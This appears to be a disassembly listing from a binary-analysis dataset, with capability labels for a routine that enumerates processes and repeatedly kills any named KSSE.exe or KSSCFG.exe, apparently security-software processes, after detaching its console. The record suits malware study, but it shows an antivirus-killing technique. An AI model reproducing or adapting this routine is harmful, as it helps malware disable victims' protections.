Function at 0x401000
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x4a8
mov eax, dword [0x408030]
push esi
mov dword [esp + 0x4a8], eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 4], esi
jne 0x401043
or eax, eax
pop esi
mov ecx, dword [esp + 0x4a4]
call fcn.004012d5
add esp, 0x4a8
ret
push ebx
push ebp
push edi
lea eax, [esp + 0x264]
push eax
push esi
mov dword [esp + 0x26c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x4010c8
nop
mov edi, str.KSSE.exe
lea esi, [esp + 0x288]
mov ecx, 9
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4010ae
mov eax, dword [esp + 0x26c]
push eax
push edx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call ebp
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x264]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401070
mov esi, dword [esp + 0x10]
push esi
call ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
jne 0x4010f9
pop edi
pop ebp
pop ebx
or eax, 0xffffffff
pop esi
mov ecx, dword [esp + 0x4a4]
call fcn.004012d5
add esp, 0x4a8
ret
lea eax, [esp + 0x14]
push eax
push esi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401163
mov edi, str.KSSCFG.exe
lea esi, [esp + 0x38]
mov ecx, 0xb
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40114c
mov eax, dword [esp + 0x1c]
push eax
push edx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40114c
push 0
push esi
call ebp
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401110
mov esi, dword [esp + 0x10]
push esi
call ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
je 0x4010df
lea eax, [esp + 0x13c]
push eax
push esi
mov dword [esp + 0x144], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4011f8
jmp 0x4011a0
mov edi, str.KSSE.exe
lea esi, [esp + 0x160]
mov ecx, 9
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x4011de
mov eax, dword [esp + 0x144]
push eax
push edx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call ebp
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x13c]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4011a0
mov esi, dword [esp + 0x10]
push esi
call ebx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
je 0x4010df
lea eax, [esp + 0x38c]
push eax
push esi
mov dword [esp + 0x394], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401288
mov edi, str.KSSCFG.exe
lea esi, [esp + 0x3b0]
mov ecx, 0xb
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40126e
mov eax, dword [esp + 0x394]
push eax
push edx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call ebp
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x38c]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401230
mov esi, dword [esp + 0x10]
push esi
call ebx
mov ecx, dword [esp + 0x4b4]
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
call fcn.004012d5
add esp, 0x4a8
ret